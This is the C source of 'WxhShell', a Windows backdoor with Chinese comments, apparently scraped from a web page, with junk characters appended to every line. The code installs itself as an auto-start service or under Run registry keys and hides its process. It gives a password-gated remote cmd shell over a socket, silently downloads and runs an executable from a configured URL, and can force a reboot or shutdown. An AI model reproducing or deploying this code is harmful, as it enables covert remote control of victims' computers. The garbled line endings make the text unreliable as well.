    } B/eaqJ  
    break; @C.GKeM*  
    } +2T! z=  
  // 关机 IjZ@U%g@;  
  case 'd': { MC=G"m:_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O]nT>;PXX  
    if(Boot(SHUTDOWN)) g*-2* \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C}CKnkMMD  
    else { OV5e#AOy)  
    closesocket(wsh); ^ @.G,u  
    ExitThread(0); m@ oUvxcd  
    } 8sw,k   
    break; M#0 @X  
    } YU\Gj S~>&  
  // 获取shell n,KA&)/s  
  case 's': { ^g!B.ll`  
    CmdShell(wsh); ~b8a^6:R"  
    closesocket(wsh); (K!4Kp^m  
    ExitThread(0); Gc;B[/:  
    break; (fXq<GXAn/  
  } |NEd@  
  // 退出 xv0M  
  case 'x': { jzrt7p*k}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6q%ed UED  
    CloseIt(wsh); "T*I|  
    break; aIu2>  
    } B| Q6!  
  // 离开 ){tPP$-i=  
  case 'q': { 2X_>vIlEm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k!13=Gh  
    closesocket(wsh); v*L '{3f  
    WSACleanup(); $- w5o`e  
    exit(1); #`j][F@N  
    break; m"-G6BKS  
        } GYqJ!,  
  } g8Aj `O  
  } CZfE |T~  
DR{] sG  
  // 提示信息 73pC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X2P``YFV{  
} )G4rJ~#@  
  } Nu+wL>t  
N ^f}ui i  
  return; 3k{c$x}  
} *+~D+_,  
x@ 6\Ob  
// shell模块句柄 ) MBS  
int CmdShell(SOCKET sock) \^m.dIPdO  
{ H%~Q?4  
STARTUPINFO si; Z~R dFC  
ZeroMemory(&si,sizeof(si)); tnL."^%A2I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CKN8z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &vkp?UH  
PROCESS_INFORMATION ProcessInfo; 2MT_#r_  
char cmdline[]="cmd"; r8+*|$K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E- KK  
  return 0; @?vLAsp\  
} ,W8au"  
d v[\.T`LY  
// 自身启动模式 1{7_ `[  
int StartFromService(void) RSFJu\0}N  
{ x57'Cg \  
typedef struct gb9[Meg'  
{ 4UazD_`'  
  DWORD ExitStatus; !4L#$VG  
  DWORD PebBaseAddress; G ;jF9i  
  DWORD AffinityMask; oX#9RW/ >I  
  DWORD BasePriority; }`4K)(>4nG  
  ULONG UniqueProcessId; UMv"7~  
  ULONG InheritedFromUniqueProcessId; Kj=;>u  
}   PROCESS_BASIC_INFORMATION; pNBa.4z:  
f{f_g8f[  
PROCNTQSIP NtQueryInformationProcess; ?U$}Rsk{#  
(}6wAfGo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C*$|#.l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G u6[{u  
"zXGp7Q'#  
  HANDLE             hProcess; 98jD"*W5  
  PROCESS_BASIC_INFORMATION pbi; _>;&-e  
\!m!ibr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /XjN%|  
  if(NULL == hInst ) return 0; CN-4-  
 JUmw$u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hzW{_Q.|?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S\}?zlV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8g-P_[>  
KU*`f{|  
  if (!NtQueryInformationProcess) return 0; C+T&O  
^zKt{a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jk%'mEGE  
  if(!hProcess) return 0; Al=(sHc'  
0T1HQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; id3)6}  
&3jBE --  
  CloseHandle(hProcess); v/]Qq  
?rky6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U0!^m1U:  
if(hProcess==NULL) return 0; MJy;GzJ O  
f<'n5}{RO0  
HMODULE hMod; @Q/x&BV  
char procName[255]; mx:J>SPA8  
unsigned long cbNeeded; UwZu:[T6H  
(s5<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U? {'n#n 5  
PbbXi  
  CloseHandle(hProcess); lb-S0plw  
,Le&I9*%  
if(strstr(procName,"services")) return 1; // 以服务启动 fEx+gQW_  
;Fx')  
  return 0; // 注册表启动 $o/0A  
} C}n[?R  
_!CK   
// 主模块 x{=[w`  
int StartWxhshell(LPSTR lpCmdLine) /'R UA  
{ e} sc]MTM  
  SOCKET wsl; UOn!Y@  
BOOL val=TRUE; D?iy.Dg  
  int port=0; j l;kcGE  
  struct sockaddr_in door; |h#DL$  
= 4BLc  
  if(wscfg.ws_autoins) Install(); 73'U#@g6  
+io;K]C  
port=atoi(lpCmdLine); 6(ka"Vu~  
):/<H  
if(port<=0) port=wscfg.ws_port; S^3g]5YX  
34X(J-1\|i  
  WSADATA data; uAW*5 `[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3X88x-3  
Ymwx (Pm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LFk5rv'sM0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A6@+gP<  
  door.sin_family = AF_INET; J0IdFFZ|w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nu\  
  door.sin_port = htons(port); W HlD %u  
N+Q(V*:3v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dAu^{1+2  
closesocket(wsl); &,m'sQ  
return 1; j\XX:uU_  
} E[SV*1)  
L#t-KLJ  
  if(listen(wsl,2) == INVALID_SOCKET) { ^ I{R[O'8  
closesocket(wsl); LV}UBao5n  
return 1; 4FfwpO3,Ku  
} ir?Uw:/f  
  Wxhshell(wsl); [JX}1%NA  
  WSACleanup(); gt2>nTJz.Z  
r6O7&Me<  
return 0; oyKt({  
5~`|)~FA  
} G/LXUhuif  
'U|MM;(  
// 以NT服务方式启动 `@u+u0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J9b?}-O)  
{ ;[WSf{k  
DWORD   status = 0; ?L<UOv7;t  
  DWORD   specificError = 0xfffffff; 1+16i=BF)  
^Ff~j&L@{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HKEop  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q7 0**qm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )+jK0E1  
  serviceStatus.dwWin32ExitCode     = 0; !T#8N7J>  
  serviceStatus.dwServiceSpecificExitCode = 0; `&|l;zsS  
  serviceStatus.dwCheckPoint       = 0; 'gk81@|  
  serviceStatus.dwWaitHint       = 0; D]G'R5H  
"lv:hz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p5twL  
  if (hServiceStatusHandle==0) return; j(@g   
\Age9iz&  
status = GetLastError(); {E3<GeHw4  
  if (status!=NO_ERROR) \V"P maP\  
{ Q C\,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y:hCBgc;`c  
    serviceStatus.dwCheckPoint       = 0; f}9PEpa,Z  
    serviceStatus.dwWaitHint       = 0; '1kj:Np  
    serviceStatus.dwWin32ExitCode     = status; ZVL- o<6  
    serviceStatus.dwServiceSpecificExitCode = specificError; <QkN}+B=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,#'o)O#  
    return; U!;aM*67  
  } s5zGg]0  
Ye\*b? 6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u]]5p[ |S  
  serviceStatus.dwCheckPoint       = 0; S}v{^vR  
  serviceStatus.dwWaitHint       = 0; R>e3@DQ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;)= zvr17  
} 0ez i?Um  
hD6ur=G8u  
// 处理NT服务事件,比如:启动、停止 3@Zz-~4Td  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eJ=Y6;d$  
{ \MFWK#W  
switch(fdwControl) Wf`Oye Rz  
{ v_@#hf3  
case SERVICE_CONTROL_STOP: hPqapz]HcP  
  serviceStatus.dwWin32ExitCode = 0; \}4#**]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -MHX1`P:Sn  
  serviceStatus.dwCheckPoint   = 0; wsb=[$C  
  serviceStatus.dwWaitHint     = 0; '+q'H  
  { wJeqa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QkCoW[sn  
  } s=y9!rr  
  return; J,^pt Ql  
case SERVICE_CONTROL_PAUSE: Y(I*%=:$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1z};"A  
  break; G$x["  
case SERVICE_CONTROL_CONTINUE: qLW-3W;WUH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .J6 j"  
  break; ?D )qgH  
case SERVICE_CONTROL_INTERROGATE: 4KSP81}/\  
  break; gH{\y5%rO  
}; 4Utx 9^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h'YcNkM 2>  
} )r|zi Z{F  
*(SBl}f4l  
// 标准应用程序主函数 {R{%Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z5*O@_r+.b  
{ | C2.Zay  
u, SX`6%  
// 获取操作系统版本 O*n%2Mam  
OsIsNt=GetOsVer(); "RJk7]p`*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E~g}DKs_5  
R?9Plzt5  
  // 从命令行安装 e/% ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); /h.3<HI."*  
B oj{+rE0  
  // 下载执行文件 l<K.!z<-:8  
if(wscfg.ws_downexe) { ?>\]%$5o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ']6#7NU  
  WinExec(wscfg.ws_filenam,SW_HIDE); W%XS0k}x  
} 0?L$)T-B  
>93{=+  
if(!OsIsNt) { -I-& <+7v  
// 如果时win9x,隐藏进程并且设置为注册表启动 TtjSLkF  
HideProc(); N8(x),  
StartWxhshell(lpCmdLine); m}'@S+k^  
} v*]Xur6e}  
else | v'5*n9  
  if(StartFromService()) Gc!{%x  
  // 以服务方式启动 BHE =Zo  
  StartServiceCtrlDispatcher(DispatchTable); Y(yJ|y&  
else |Gs-9+'y  
  // 普通方式启动 Jsnmn$C  
  StartWxhshell(lpCmdLine); !<PTsk F  
zr9Pm6Rl  
return 0; :8L61d2(  
} k'q !MZU  
iR5soIR  
)ZU#19vr7  
9/KQAc*  
=========================================== O xaua  
Cv7RCjMw  
%7wzGtM]ps  
&ziB#(&:H  
'0M0F'R  
vgZPDf|  
" uOUw8  
(qONeLf%  
#include <stdio.h> jtpNo~O  
#include <string.h> I}0 -  
#include <windows.h> ct/THq  
#include <winsock2.h> +Ws}a  
#include <winsvc.h> Yy~Dg  
#include <urlmon.h> .z7f_KX^  
vjWgR9 4/{  
#pragma comment (lib, "Ws2_32.lib") Ec/+9H6g  
#pragma comment (lib, "urlmon.lib") Ds5&5&af  
-* j;  
#define MAX_USER   100 // 最大客户端连接数 1L9 <1  
#define BUF_SOCK   200 // sock buffer ATewdq[C  
#define KEY_BUFF   255 // 输入 buffer sJYX[  
[beuDZA  
#define REBOOT     0   // 重启 md_s2d  
#define SHUTDOWN   1   // 关机 Y(mwJud|  
I`lH6hHp  
#define DEF_PORT   5000 // 监听端口 ViONG]F  
tXGcwoOB  
#define REG_LEN     16   // 注册表键长度 RS=7W._W  
#define SVC_LEN     80   // NT服务名长度 9uo\&,,  
V:npcKpu  
// 从dll定义API ../(gG9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cW>`Z:6{K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .^W0;ISX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Z5~a9rO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1O{67Pf  
 KX@Fgs  
// wxhshell配置信息 @72G*u\Wz  
struct WSCFG { ?q7Gs)B=^'  
  int ws_port;         // 监听端口 &$ 9bC 't6  
  char ws_passstr[REG_LEN]; // 口令 hD=D5LYAZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no [#V! XdQ,  
  char ws_regname[REG_LEN]; // 注册表键名 {GY$J<5=  
  char ws_svcname[REG_LEN]; // 服务名 oOw"k*,h:S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o{eG6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zoXF"Nz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ![Y$[l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ttOsL')|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B!lw>rUMQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @bE?WXY  
}'JPA&h|  
}; '1IH^<b  
|hAGgo/03  
// default Wxhshell configuration Ei!z? sxzx  
struct WSCFG wscfg={DEF_PORT, z5zm,Jw  
    "xuhuanlingzhe", qz):YHxT]n  
    1, -R]S)Odml  
    "Wxhshell", +z_0?x  
    "Wxhshell", QUO?q+  
            "WxhShell Service", :I8t}Wg  
    "Wrsky Windows CmdShell Service", ""=Vt]  
    "Please Input Your Password: ", g.qp _O  
  1, gfHlY Q]  
  "http://www.wrsky.com/wxhshell.exe", 0 $r{h}[^c  
  "Wxhshell.exe" 0Oq1ay^  
    }; n1V*VQV  
g>{=R|uO5  
// 消息定义模块 G"(!5+DLy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jA'+>`@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0o`o'ZV=c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j@f(cRAf#  
char *msg_ws_ext="\n\rExit."; iQQJ`  
char *msg_ws_end="\n\rQuit."; Ex{]<6UAu  
char *msg_ws_boot="\n\rReboot..."; c_ i;'  
char *msg_ws_poff="\n\rShutdown..."; 6kk(FVX  
char *msg_ws_down="\n\rSave to "; =>Efrma  
O@VmV>m  
char *msg_ws_err="\n\rErr!"; Wh7nli7f_  
char *msg_ws_ok="\n\rOK!"; ~PHG5?X  
A.Njn(z?Lz  
char ExeFile[MAX_PATH]; >2r/d  
int nUser = 0; kBkhuKd)V  
HANDLE handles[MAX_USER]; -#@;-2w  
int OsIsNt; L!5HE])<)  
: s35{K  
SERVICE_STATUS       serviceStatus; fQ@["b   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xo}hu %XL  
J5-^@JYK  
// 函数声明 . Hw^Nx  
int Install(void); QH eUpJ/^  
int Uninstall(void); 3z#16*  
int DownloadFile(char *sURL, SOCKET wsh); qohUxtnTK>  
int Boot(int flag); xE:p)B-]  
void HideProc(void); 6N ^FJCs  
int GetOsVer(void); W/+0gh7`,(  
int Wxhshell(SOCKET wsl); !^%b|=[  
void TalkWithClient(void *cs); i=+ "[h^  
int CmdShell(SOCKET sock); S; >_9  
int StartFromService(void); %q@@0qenv  
int StartWxhshell(LPSTR lpCmdLine); b=sc2 )3?  
iqpy5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |1EM )zh6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +aMPwTF:3  
Y,{Xv  
// 数据结构和表定义 !.!Ervi!N  
SERVICE_TABLE_ENTRY DispatchTable[] = SI\zW[IL  
{ rd6?;K0  
{wscfg.ws_svcname, NTServiceMain}, ^K8Ey#T  
{NULL, NULL} fz%urbJR  
}; 7@:uVowQ  
6D>o(b2  
// 自我安装 Q~`n%uYg\{  
int Install(void) F2#^5s(  
{ $WDa} ~j~^  
  char svExeFile[MAX_PATH]; {?82>q5F  
  HKEY key; TB9ukLG^<<  
  strcpy(svExeFile,ExeFile); \JX8`]|&  
[/I4Pe1Yj%  
// 如果是win9x系统,修改注册表设为自启动 &N,c:dNe  
if(!OsIsNt) { ]kr OPM/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m}k rG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2$|WXYY  
  RegCloseKey(key); t>^An:xT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /" ,]J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y.ic=<0H  
  RegCloseKey(key); 1^vN?#K t  
  return 0; d+l@hgz~  
    } i-$]Tg  
  } Vg0Rc t  
} rTQrlQ:@  
else { |iU#!+zY  
XvWUJ6M  
// 如果是NT以上系统,安装为系统服务 hl8[A-d(R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =MA$xz3  
if (schSCManager!=0) PXWBc\  
{ @xR=bWY  
  SC_HANDLE schService = CreateService c&ymVB?G:1  
  ( qn:3s  
  schSCManager, ki39$A'8  
  wscfg.ws_svcname, ;V@o 2a  
  wscfg.ws_svcdisp, Q! WXFS  
  SERVICE_ALL_ACCESS, n1X7T0'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /g@!#Dt  
  SERVICE_AUTO_START, rz5AIe>Hm  
  SERVICE_ERROR_NORMAL, v="i0lL_  
  svExeFile, dL!PpLR$2  
  NULL, sSU p7V  
  NULL, KFx4"f%  
  NULL, zyTeF~_  
  NULL, gy0l@ 5 N  
  NULL DHQavHqbZ  
  ); v,^2'C$o  
  if (schService!=0) iLD}>=  
  { K_;'-B  
  CloseServiceHandle(schService); _NA[g:DZ&O  
  CloseServiceHandle(schSCManager); 5=(fuY3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7M9Ey29f  
  strcat(svExeFile,wscfg.ws_svcname); K?`Fpg (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fu].%`*xJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DvhJkdLB>  
  RegCloseKey(key); [z=KHk  
  return 0; 2[zFKK  
    } RDGefxv  
  } +es|0;Z4yP  
  CloseServiceHandle(schSCManager); F|nJ3:v  
} UaG })  
} -k(bM:  
()%NotN;  
return 1; ;d5d$Np@m&  
} iW oe  
NpqK+GO  
// 自我卸载 @~1}n/  
int Uninstall(void)  vf}.)  
{ w\SfzJN  
  HKEY key; H.-VfROi2  
(m:ktd=x  
if(!OsIsNt) { 1!/WC.0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f i#p('8  
  RegDeleteValue(key,wscfg.ws_regname); )a99@`L\P  
  RegCloseKey(key); n06T6oc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m6+4}=Cn  
  RegDeleteValue(key,wscfg.ws_regname); Lgr(j60s  
  RegCloseKey(key); 'fo.1  
  return 0; <+3-(&  
  } :9?y-X  
} <gfkbDP2  
} MbbKo-7F$  
else { Q&\(m[:)  
&-R(u}m-F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V)q|U6R  
if (schSCManager!=0) 0Tp,b (; n  
{ R-[t 4BHn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o!$O+%4  
  if (schService!=0) @3g$H[}  
  { =pa F6!AB  
  if(DeleteService(schService)!=0) { 1[4 2f#  
  CloseServiceHandle(schService); Q95`GuI@  
  CloseServiceHandle(schSCManager); S:F8` Gh  
  return 0; 6O@/Y;5i  
  } QY7Thnp1  
  CloseServiceHandle(schService); P[q 'Y^\  
  } (,P6cWt}"  
  CloseServiceHandle(schSCManager); <&47W  
} e<Bw duy  
} )Up'W  
`2I<V7SF$  
return 1; -5X*y4#  
} dsrKHi  
f5tkv<) %  
// 从指定url下载文件 $_5a1Lq1  
int DownloadFile(char *sURL, SOCKET wsh) A(2!.Y 2?*  
{ SSrYFu"  
  HRESULT hr; 0YsBAfRG  
char seps[]= "/"; 7c8A|E0\mF  
char *token; G_cWp D/  
char *file; j84g6;4Dv  
char myURL[MAX_PATH]; S!oG|%VuB#  
char myFILE[MAX_PATH]; P-Up v6J3  
X}5}M+'~  
strcpy(myURL,sURL); kZU v/]Y.  
  token=strtok(myURL,seps); ,Nk{AiiN  
  while(token!=NULL) rY:A LA  
  { N3U.62  
    file=token; JlMD_pA  
  token=strtok(NULL,seps); FBk_LEcX  
  } &i{>Li  
Ho!dtEs  
GetCurrentDirectory(MAX_PATH,myFILE); ]>T4\?aC  
strcat(myFILE, "\\"); @!np 0#  
strcat(myFILE, file); A8jj]J+  
  send(wsh,myFILE,strlen(myFILE),0); [$iKx6\  
send(wsh,"...",3,0); c7~>uNgJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OA?pBA  
  if(hr==S_OK) CtO;_ ;eD'  
return 0; sgxD5xj}4  
else w$fP$ \+  
return 1; -:]-g:;/  
xp68-&  
} g q|]t<'  
@b@#  o  
// 系统电源模块 GB&^<@  
int Boot(int flag) }:zTz% _K  
{ kaG@T,pH(  
  HANDLE hToken; b,r{wrLe)  
  TOKEN_PRIVILEGES tkp; W+5<=jXFB  
1RM@~I$0  
  if(OsIsNt) { h,!`2_&UQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tQYkH$e`/{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u301xc,N<z  
    tkp.PrivilegeCount = 1; S?BI)shmg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0*{ 2^\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Op>l~{{{  
if(flag==REBOOT) { Wm#F~<$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aFf(m-  
  return 0; u+_6V  
} l'm\ *=3  
else { 0~( f<:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _GF{Duxh  
  return 0; WH^^.^(i  
} q:a-tdv2  
  } j.:I{!R#  
  else { )wdTs>W7  
if(flag==REBOOT) { n=1_-)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tmVGJ+gz  
  return 0; K Ml>~r  
} ~[ZRE @  
else { 5'%nLW7;O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QTLGM-Z  
  return 0; `~;`q  
} W^8MsdM  
} hztxsvw  
Zv|TvlyT"  
return 1;  {,Z-GJ  
} LAjreC<W  
<%b a 3<sg  
// win9x进程隐藏模块 <4%cKW0  
void HideProc(void) <!G%P4)  
{ \\iX9-aI<  
rjWn>M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $ts1XIK%  
  if ( hKernel != NULL ) #C#*yE  
  { /+JHnedK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W\1V`\gF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9kby-A4  
    FreeLibrary(hKernel); efX iZ  
  } Dhze2q)o  
Q4e+vBECkq  
return; /^rJ`M[;  
} :N#8|;J1Fl  
GJj}|+|  
// 获取操作系统版本 HD!2|b ~@  
int GetOsVer(void) 5v_vv'~  
{ dBb &sA-A  
  OSVERSIONINFO winfo; U-:"Wx%G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -I'Jm=q3]  
  GetVersionEx(&winfo); ./i5VBP5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CAbR+ y  
  return 1; =x3T+)qCNX  
  else Lc! t  
  return 0;  sDl @  
} ##5e:<c&[  
i#K Y'"P  
// 客户端句柄模块 (;cKv  
int Wxhshell(SOCKET wsl) #I}w$j i  
{ 7!PU}[:  
  SOCKET wsh; 6(8zt"E  
  struct sockaddr_in client; L#MgoBXr  
  DWORD myID; +N2R'Phv  
RXw }Tb/D8  
  while(nUser<MAX_USER) w[]\%`69}Z  
{ w:h([q4X  
  int nSize=sizeof(client); q_86nvB<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0lLg uBW@  
  if(wsh==INVALID_SOCKET) return 1; bZ[ay-f6oK  
uFnq3m^u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .1F41UyL  
if(handles[nUser]==0) Rc(E';uc  
  closesocket(wsh); zn#lFPj12  
else 0w!:YB,}  
  nUser++; XM~eocn  
  } `N;O6 wZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'k9 Qd:a}  
ks7id[~&iY  
  return 0; lS |:4U.  
} |\T!,~  
4P=)u}{]^#  
// 关闭 socket nJR(lXWO  
void CloseIt(SOCKET wsh) {)wl`mw3  
{ $g  '4'  
closesocket(wsh); 9)J)r \  
nUser--; {nH*Wu*^  
ExitThread(0); L8?;A9pc()  
} |vY|jaV}  
\me-#: Gu  
// 客户端请求句柄 EfqC_,J*3  
void TalkWithClient(void *cs) ^w*&7.Z  
{ , %A2wV  
g-<[* nF  
  SOCKET wsh=(SOCKET)cs; 7-MyiCt  
  char pwd[SVC_LEN]; @vPGkM#oW  
  char cmd[KEY_BUFF]; jBU!xCO  
char chr[1]; qb KcI+)47  
int i,j; T1M>N  
~' q&rvk`  
  while (nUser < MAX_USER) { xPMX\aI|l  
Oee>d<  
if(wscfg.ws_passstr) { Qk8YR5 K   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0pA>w8mh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \4n9m  
  //ZeroMemory(pwd,KEY_BUFF); ,8+Jt@L  
      i=0; $O,IXA  
  while(i<SVC_LEN) { m`#UV-$J  
YQaL)t$0  
  // 设置超时 c:,K{ZR  
  fd_set FdRead; ,S-zY\XB  
  struct timeval TimeOut; c1h?aP  
  FD_ZERO(&FdRead); p1fy)K2{,j  
  FD_SET(wsh,&FdRead); A2"$B\j1  
  TimeOut.tv_sec=8; rQ&F Gb  
  TimeOut.tv_usec=0; U}SN#[*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e@L?jBj8m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ` W{y  
2$1D+(5;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J4jL%5t  
  pwd=chr[0]; gF&HJF 0x  
  if(chr[0]==0xd || chr[0]==0xa) { \g:Bg%43h  
  pwd=0; &u0on) E  
  break; :{x    
  } !\|L(Paf  
  i++; XZ_vbYTj  
    } T4x[ \v5d  
zwdi$rM5  
  // 如果是非法用户,关闭 socket U&L?IT=x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  6adXE  
} [-w+ACV~  
)k&!&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p"o_0 {8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kcZz WG|n  
! f*t9 I9Q  
while(1) { )X5en=[)O  
H6i;MQ  
  ZeroMemory(cmd,KEY_BUFF); lU%L  
|v= */e  
      // 自动支持客户端 telnet标准   %<;PEQQ|C  
  j=0; IW- BY =C  
  while(j<KEY_BUFF) { Lb%:u5X\D@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XV:icY  
  cmd[j]=chr[0];  H+Se  
  if(chr[0]==0xa || chr[0]==0xd) { "yc@_+"\+  
  cmd[j]=0; [:bYd}J  
  break; KmaMS(A(3  
  } 75RQ\_zDu  
  j++; p$zj2W+sN  
    } KU)~p"0[6]  
<wO8=bem  
  // 下载文件 IjnO2X  
  if(strstr(cmd,"http://")) { W,p?}KiO T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bs\7 juHt  
  if(DownloadFile(cmd,wsh)) i2 m+s;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;8> TD&]{  
  else 4: S-  
